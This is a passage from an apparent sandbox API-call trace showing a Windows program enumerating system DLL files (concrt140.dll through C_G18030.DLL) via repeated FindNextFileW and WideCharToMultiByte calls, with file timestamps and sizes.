lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMUID.DLL", cchWideChar=10, lpMultiByteStr=0x9dc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMUID.DLL", lpUsedDefaultChar=0x0) returned 10 [0206.289] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cecfd00, ftCreationTime.dwHighDateTime=0x1d2881f, ftLastAccessTime.dwLowDateTime=0xfc801c00, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0x6cecfd00, ftLastWriteTime.dwHighDateTime=0x1d2881f, nFileSizeHigh=0x0, nFileSizeLow=0x3b548, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="")) returned 1 [0206.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONCRT140.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0206.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONCRT140.DLL", cchWideChar=13, lpMultiByteStr=0x9dc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONCRT140.DLL", lpUsedDefaultChar=0x0) returned 13 [0206.289] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf52a1a4c, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf52a1a4c, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x148400, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="connect.dll", cAlternateFileName="")) returned 1 [0206.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONNECT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONNECT.DLL", cchWideChar=11, lpMultiByteStr=0x9dc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONNECT.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.289] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62643aa1, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x62643aa1, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="console.dll", cAlternateFileName="")) returned 1 [0206.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONSOLE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONSOLE.DLL", cchWideChar=11, lpMultiByteStr=0x9dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONSOLE.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.289] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09bc845, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb09bc845, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="corpol.dll", cAlternateFileName="")) returned 1 [0206.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CORPOL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CORPOL.DLL", cchWideChar=10, lpMultiByteStr=0x9dc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CORPOL.DLL", lpUsedDefaultChar=0x0) returned 10 [0206.289] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ca9d39, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9ca00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="CPFilters.dll", cAlternateFileName="")) returned 1 [0206.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CPFILTERS.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0206.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CPFILTERS.DLL", cchWideChar=13, lpMultiByteStr=0x9dc120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CPFILTERS.DLL", lpUsedDefaultChar=0x0) returned 13 [0206.290] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9da9522d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9da9522d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9da9522d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4400, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="credssp.dll", cAlternateFileName="")) returned 1 [0206.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDSSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDSSP.DLL", cchWideChar=11, lpMultiByteStr=0x9dc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CREDSSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.290] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d09d5fb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d09d5fb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d0c375b, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x29400, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="credui.dll", cAlternateFileName="")) returned 1 [0206.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDUI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CREDUI.DLL", cchWideChar=10, lpMultiByteStr=0x9dc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CREDUI.DLL", lpUsedDefaultChar=0x0) returned 10 [0206.290] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x435139, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x435139, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x866dd550, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2461b, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="crtdll.dll", cAlternateFileName="")) returned 1 [0206.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRTDLL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRTDLL.DLL", cchWideChar=10, lpMultiByteStr=0x9dc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRTDLL.DLL", lpUsedDefaultChar=0x0) returned 10 [0206.290] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b04660, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x89b04660, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x89b76a81, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x119c00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="crypt32.dll", cAlternateFileName="")) returned 1 [0206.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPT32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPT32.DLL", cchWideChar=11, lpMultiByteStr=0x9dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPT32.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.290] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54554db9, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x54554db9, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x86704650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="cryptbase.dll", cAlternateFileName="")) returned 1 [0206.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTBASE.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0206.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTBASE.DLL", cchWideChar=13, lpMultiByteStr=0x9dc288, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTBASE.DLL", lpUsedDefaultChar=0x0) returned 13 [0206.290] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8dce1c44, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8dce1c44, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="cryptdlg.dll", cAlternateFileName="")) returned 1 [0206.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLG.DLL", cchWideChar=12, lpMultiByteStr=0x9dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTDLG.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.290] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x360536d1, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x360536d1, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe600, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="cryptdll.dll", cAlternateFileName="")) returned 1 [0206.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLL.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTDLL.DLL", cchWideChar=12, lpMultiByteStr=0x9dc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTDLL.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.343] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c473190, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3c473190, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xd800, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="cryptext.dll", cAlternateFileName="")) returned 1 [0206.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTEXT.DLL", cchWideChar=12, lpMultiByteStr=0x9dc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.343] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x382fd648, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x382fd648, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86729040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x19400, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="cryptnet.dll", cAlternateFileName="")) returned 1 [0206.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTNET.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTNET.DLL", cchWideChar=12, lpMultiByteStr=0x9dc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTNET.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.343] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde3e9ca5, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xde3e9ca5, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="cryptsp.dll", cAlternateFileName="")) returned 1 [0206.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSP.DLL", cchWideChar=11, lpMultiByteStr=0x9dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.344] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d61e8e5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d61e8e5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d644a45, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x21400, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="cryptsvc.dll", cAlternateFileName="")) returned 1 [0206.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSVC.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTSVC.DLL", cchWideChar=12, lpMultiByteStr=0x9dc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTSVC.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.344] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d513f43, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d513f43, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d513f43, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf5000, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="cryptui.dll", cAlternateFileName="")) returned 1 [0206.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTUI.DLL", cchWideChar=11, lpMultiByteStr=0x9dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.344] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f6e225d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f6e225d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x86750140, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14e00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="cryptxml.dll", cAlternateFileName="")) returned 1 [0206.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTXML.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CRYPTXML.DLL", cchWideChar=12, lpMultiByteStr=0x9dc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CRYPTXML.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.344] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2f83ed, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b2f83ed, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b3446ad, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8800, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="cscapi.dll", cAlternateFileName="")) returned 1 [0206.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCAPI.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCAPI.DLL", cchWideChar=10, lpMultiByteStr=0x9dc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCAPI.DLL", lpUsedDefaultChar=0x0) returned 10 [0206.344] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b1eda4b, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b1eda4b, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b2f83ed, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="cscdll.dll", cAlternateFileName="")) returned 1 [0206.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCDLL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCDLL.DLL", cchWideChar=10, lpMultiByteStr=0x9dc288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCDLL.DLL", lpUsedDefaultChar=0x0) returned 10 [0206.344] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa28fc75d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa28fc75d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa29228be, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="cscobj.dll", cAlternateFileName="")) returned 1 [0206.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCOBJ.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0206.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CSCOBJ.DLL", cchWideChar=10, lpMultiByteStr=0x9dc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CSCOBJ.DLL", lpUsedDefaultChar=0x0) returned 10 [0206.344] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x304641, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x304641, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x867e7720, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="ctl3d32.dll", cAlternateFileName="")) returned 1 [0206.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CTL3D32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CTL3D32.DLL", cchWideChar=11, lpMultiByteStr=0x9dc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CTL3D32.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.345] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd55d8064, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xd55d8064, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x828158e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36200, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="C_G18030.DLL", cAlternateFileName="")) returned 1 [0206.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C_G18030.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 